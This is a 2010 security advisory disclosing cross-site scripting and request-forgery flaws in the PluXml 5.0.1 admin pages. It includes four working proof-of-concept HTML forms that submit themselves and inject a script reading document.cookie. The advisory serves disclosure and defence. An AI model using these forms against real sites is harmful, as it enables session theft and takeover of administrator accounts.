Total Tests:

Multiple Vulnerabilities in PluXml

Advisory ID:HTB22631
Product:PluXml
Vendor:PluXml Team
Vulnerable Versions:5.0.1 and probably prior
Tested Version:5.0.1
Advisory Publication:September 29, 2010 [without technical details]
Vendor Notification:September 29, 2010
Public Disclosure:October 13, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Low
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in PluXml which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in PluXml
1.1 The vulnerability exists due to input sanitation error in the "content" parameter in /core/admin/article.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/core/admin/article.php" method="post" name="main" >
<input type="hidden" name="artId" value="0001">
<input type="hidden" name="title" value="article title">
<input type="hidden" name="author" value="001">
<input type="hidden" name="chapo" value="">
<input type="hidden" name="content" value='page html content"><script>alert(document.cookie)</script>'>
<input type="hidden" name="day" value="23">
<input type="hidden" name="month" value="09">
<input type="hidden" name="year" value="2010">
<input type="hidden" name="time" value="15:45">
<input type="hidden" name="catId[]" value="001">
<input type="hidden" name="new_catid" value="002">
<input type="hidden" name="new_catname" value="">
<input type="hidden" name="tags" value="PluXml">
<input type="hidden" name="allow_com" value="1">
<input type="hidden" name="url" value="article-page-url">
<input type="hidden" name="template" value="article.php">
<input type="hidden" name="preview" value="Aper&ccedil;u">
</form>
<script>
document.main.submit();
</script >

1.2 The vulnerability exists due to input sanitation error in the "title" parameter in /core/admin/parametres_base.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/core/admin/parametres_base.php" method="post" name="main" >
<input type="hidden" name="title" value='PluXml"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value="le blog full XML">
<input type="hidden" name="racine" value="http://host/">
<input type="hidden" name="delta" value="+00:00">
<input type="hidden" name="allow_com" value="1">
<input type="hidden" name="mod_com" value="0">
<input type="hidden" name="editor" value="plxtoolbar">
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery vulnerabilities in PluXml
2.1 The vulnerability exists due to insufficient validation of the request origin in core/admin/profil.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link, store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/core/admin/profil.php" method="post" name="main" >
<input type="hidden" name="name" value="Ildar">
<input type="hidden" name="infos" value='<script>alert(document.cookie)</script>'>
<input type="hidden" name="profil" value="Modifier votre profil">
<input type="hidden" name="password1" value="">
<input type="hidden" name="password2" value="">
</form>
<script>
document.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin in core/admin/statique.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link, store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/core/admin/statique.php" method="post" name="main" >
<input type="hidden" name="id" value="001">
<input type="hidden" name="content" value="<p><?php echo 'Ma premi&egrave;re page statique !'; ?></p><script>alert(document.cookie)</script>">
</form>
<script>
document .main.submit();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22631 - https://www.immuniweb.com/advisory/HTB22631 - Multiple Vulnerabilities in PluXml
[2] PluXml - pluxml.org – PluXml is a small content management system for a website or blog.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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